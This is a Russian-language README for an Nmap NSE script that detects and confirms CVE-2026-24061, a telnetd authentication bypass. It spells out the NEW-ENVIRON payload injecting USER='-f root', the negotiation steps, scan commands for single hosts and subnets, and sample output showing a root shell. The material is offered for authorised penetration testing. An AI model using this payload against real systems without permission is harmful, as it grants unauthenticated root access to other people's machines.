
Скрипт выполняет полное зеркалирование Telnet-переговоров, повторяя точную байтовую последовательность реального клиентского сеанса telnet -a.
Этот Nmap NSE-скрипт обнаруживает CVE-2026-24061 — уязвимость обхода аутентификации в GNU InetUtils telnetd версий 1.9.3–2.7.
Отправляя специально сформированную переменную окружения USER вида -f <username> во время
согласования опций Telnet, неаутентифицированный злоумышленник может получить оболочку с
правами указанного локального пользователя — включая — .
rootПредполагаемое использование: Только авторизованное тестирование на проникновение и оценка уязвимостей.
Запуск этого скрипта против систем без явного письменного разрешения является незаконным.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-24061 |
| Затронутые версии | GNU InetUtils telnetd 1.9.3 – 2.7 |
| Оценка CVSSv3 | 9.8 Critical |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Тип | Обход аутентификации (CWE-287) |
| Раскрытие | 2026-01-01 |
GNU InetUtils telnetd использует опцию Telnet NEW-ENVIRON (RFC 1572) для получения
переменных окружения от клиента на этапе согласования. Затем программа login(1)
вызывается с этими переменными.
Уязвимость возникает из-за того, что telnetd передаёт переменную USER напрямую в
login без её очистки. Программа login в Linux принимает флаг -f <user>,
означающий «предварительно аутентифицирован, пароль не проверять». Внедряя
USER="-f root" через полезную нагрузку NEW-ENVIRON, злоумышленник полностью обходит аутентификацию.
Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Server response: spawns login -f root → root shell, no password required
| Поле | Значение |
|---|---|
| Имя файла | telnet-vuln-cve-2026-24061.nse |
| Категории | vuln, exploit, intrusive |
| Порт | TCP/23 (telnet) |
| Протестировано на | Nmap 7.94 / 7.98, Windows и Linux |
Скрипт выполняет полное согласование Telnet, повторяя точную байтовую последовательность
реального клиентского сеанса telnet -a (восстановленную из захвата Wireshark):
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <user>' в полезную нагрузку NEW-ENVIRON ISWILL ECHO / DO BINARY / WONT LINEMODEСостояния результата:
| Состояние | Значение |
|---|---|
EXPLOIT | Получено приглашение оболочки — обход подтверждён |
LIKELY_VULN | Полезная нагрузка ENV принята, запроса пароля нет, но приглашения оболочки нет |
NOT_VULN | Запрос пароля присутствует, или согласование не завершилось |
# Copy to Nmap scripts directory
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# Update script database
sudo nmap --script-updatedb
# Copy to Nmap scripts directory (adjust path if needed)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# Update script database (run as Administrator)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <target>
# Short form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <target>
# Medium form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <target>
# Fully qualified
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <target>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <target> # verbose
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <target> # debug
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <target> # full hex trace
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd Authentication Bypass
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2026-24061
| Risk factor: Critical CVSSv3: 9.8
| Description:
| The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows
| authentication bypass via a crafted USER environment variable.
| Sending '-f <user>' results in an unauthenticated login shell.
| Extra information:
| Authentication bypassed: shell prompt received after injecting
| USER='-f root' -- no password challenge was presented.
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(нет вывода скрипта — NOT_VULN по умолчанию молчалив, стандартное соглашение Nmap)
| Аргумент | Псевдоним(ы) | По умолчанию | Описание |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | Имя пользователя для внедрения через -f |
GNU InetUtils telnetd использует согласование Linemode (RFC 1184) для определения
режима терминального ввода-вывода. Сервер отправляет DO LINEMODE в начале согласования,
и клиент изначально отвечает WILL LINEMODE. После обмена полезной нагрузкой ENV сервер
отправляет WILL ECHO, за которым следует DO BINARY. На этом этапе клиент должен
ответить WONT LINEMODE, чтобы сигнализировать о посимвольном режиме — только тогда telnetd
сможет завершить настройку PTY (ioctl TIOCSWINSZ) и запустить login. Без этого шага
сервер регистрирует peer died: Inappropriate ioctl for device и разрывает соединение.
API сокетов NSE в Nmap отличается от стандартных соглашений Lua-сокетов:
-- Nmap NSE (correct):
local status, data = sock:receive_bytes(1)
if status == true then -- data is the received string
Этот скрипт предоставляется только для авторизованного тестирования безопасности и исследовательских целей. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте явное письменное разрешение перед тестированием систем, которые вам не принадлежат.